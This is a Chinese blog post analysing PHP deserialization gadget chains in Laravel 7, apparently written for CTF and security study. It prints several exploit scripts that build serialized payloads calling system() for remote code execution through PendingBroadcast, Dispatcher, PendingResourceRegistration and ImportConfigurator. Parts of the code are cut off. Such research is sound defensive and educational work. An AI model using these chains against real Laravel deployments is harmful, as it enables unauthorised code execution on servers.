Laravel 7 Deserialization Chain Summary

2020年7月22日 363点热度 0人点赞 0条评论

图片

图片
0x00 前言

晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。

图片
0x01 切入点

网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:

https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95

文章提供了一个切入点,即

Illuminate\Broadcasting\PendingBroadcast::__destruct

关键位置代码如下:

public function __destruct()

    {

        $this->events->dispatch($this->event);

    }

我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。

这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:

· 1.通过dispatch + 可控$this->events 触发__call方法

· 2.通过同名方法进行攻击

图片
0x02 利用__call魔法方法

尝试搜寻一番__call魔法方法,发现一个切入点:

Faker\Generator::__call

关键代码如下:

public function __call($method, $attributes)

{

    return $this->format($method, $attributes);

}

跟进类内方法format:

public function format($formatter, $arguments = array())

{

    return call_user_func_array($this->getFormatter($formatter), $arguments);

}

此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:

public function getFormatter($formatter)

    {

        if (isset($this->formatters[$formatter])) {

            return $this->formatters[$formatter];

        }

.......

显然我们可以使用数组进行bypass,例如:

$formatters['dispatch'] = xxx

如此一来即可任意RCE,我们编写exp:

formatters = $formatters;

        } 

    }

}

namespace Illuminate\Broadcasting{

    class PendingBroadcast{

        protected $events;

        protected $event;

        public function __construct($event, $events)

        {

            $this->event = $event;

            $this->events = $events;

        }

    }

}

namespace{

    $a = new Faker\Generator(array('dispatch' => 'system'));

    $b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a);

    echo urlencode(serialize($b));

}

?>

图片
0x03 利用同名函数

全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。

我们跟进其dispatch函数:

public function dispatch($command)

{

    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {

        return $this->dispatchToQueue($command);

    }

        return $this->dispatchNow($command);

}

跟进dispatchToQueue函数:

public function dispatchToQueue($command)

{

    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);

    .......

}

不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。

那么只要通过如下限制即可:

if ($this->queueResolver && $this->commandShouldBeQueued($command))

我们跟进commandShouldBeQueued:

protected function commandShouldBeQueued($command)

{

    return $command instanceof ShouldQueue;

}

发现只要是继承ShouldQueue接口的类皆可。

这里随便搜一下,发现5个类均可用,编写exp如下:

events = $events;

            $this->event = $event;

        }

    }

}

namespace Illuminate\Bus{

    class Dispatcher

    {

        protected $queueResolver;

        public function __construct($queueResolver="")

        {

            $this->queueResolver = $queueResolver;

        }

    }

}

namespace Illuminate\Events{

    class CallQueuedListener

    {

        public $connection;

        public function __construct($connection="")

        {

            $this->connection = $connection;

        }

    }

}

namespace Illuminate\Broadcasting{

    class BroadcastEvent

    {

        public $connection;

        public function __construct($connection="")

        {

            $this->connection = $connection;

        }

    }

}

namespace Illuminate\Foundation\Console{

    class QueuedCommand

    {

        public $connection;

        public function __construct($connection="")

        {

            $this->connection = $connection;

        }

    }

}

namespace Illuminate\Notifications{

    class SendQueuedNotifications

    {

        public $connection;

        public function __construct($connection="")

        {

            $this->connection = $connection;

        }

    }

}

namespace Illuminate\Queue{

    class CallQueuedClosure

    {

        public $connection;

        public function __construct($connection="")

        {

            $this->connection = $connection;

        }

    }

}

namespace{

    $a = new Illuminate\Bus\Dispatcher('system');

    $b = new Illuminate\Events\CallQueuedListener('ls');

//  $b = new Illuminate\Broadcasting\BroadcastEvent('ls');

//  $b = new Illuminate\Foundation\Console\QueuedCommand('ls');

//  $b = new Illuminate\Notifications\SendQueuedNotifications('ls');

//  $b = new Illuminate\Queue\CallQueuedClosure('ls');

    $c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);

    echo urlencode(serialize($c));

}

?>

这5个exp异曲同工,均可使用。

图片
0x04 举一反三(1)

那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:

搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration

关键代码如下:

public function __destruct()

{

    if (! $this->registered) {

        $this->register();

    }

}

跟进类内方法register:

public function register()

{

    $this->registered = true;

    return $this->registrar->register(

        $this->name, $this->controller, $this->options

    );

}

此时我们发现:

$this->registered

$this->registrar

$this->name

$this->controller

$this->options

均为可控点,因此我们又有2条路可走:

· 1.使用__call魔法方法构造pop chain

· 2.寻找register同名函数构造pop chain

对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:

formatters = $formatters;

        } 

    }

}

namespace Illuminate\Routing{

    class PendingResourceRegistration{

        protected $registrar;

        protected $name;

        protected $controller;

        protected $options;

        public function __construct($registrar, $name, $controller, $options)

        {

            $this->registrar = $registrar;

            $this->name = $name;

            $this->controller = $controller;

            $this->options = $options;

        }

    }

}

namespace{

    $a = new Faker\Generator(array('register' => 'call_user_func'));

    $b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls');

    echo urlencode(serialize($b));

}

?>

同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。

图片
0x05 举一反三(2)

继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:

关键代码:

public function __destruct()

{

    $this->parent->addCollection($this->route);

}

此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:

formatters = $formatters;

        } 

    }

}

namespace Symfony\Component\Routing\Loader\Configurator{

    class ImportConfigurator{

        private $parent;

        private $route;

        public function __construct($parent, $route)

        {

            $this->parent = $parent;

            $this->route = $route;

        }

    }

}

namespace{

    $a = new Faker\Generator(array('addCollection' => 'system'));

    $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls');

    echo urlencode(serialize($b));

}

?>

图片
0X06 后记

对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:

· 1.__destruct内直接调用的函数存在风险

· 2.__destruct内调用方法的对象可控

          · 2.1 同名方法

          · 2.2 __call方法

· 3.拼接组合

          · 3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain

          · 3.2 call_user_func等函数 参数均可控,随意拼接chain

对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。

最后求求,别再出laravel的题了。

图片

图片

17780Laravel 7 Deserialization Chain Summary

root

这个人很懒,什么都没留下

文章评论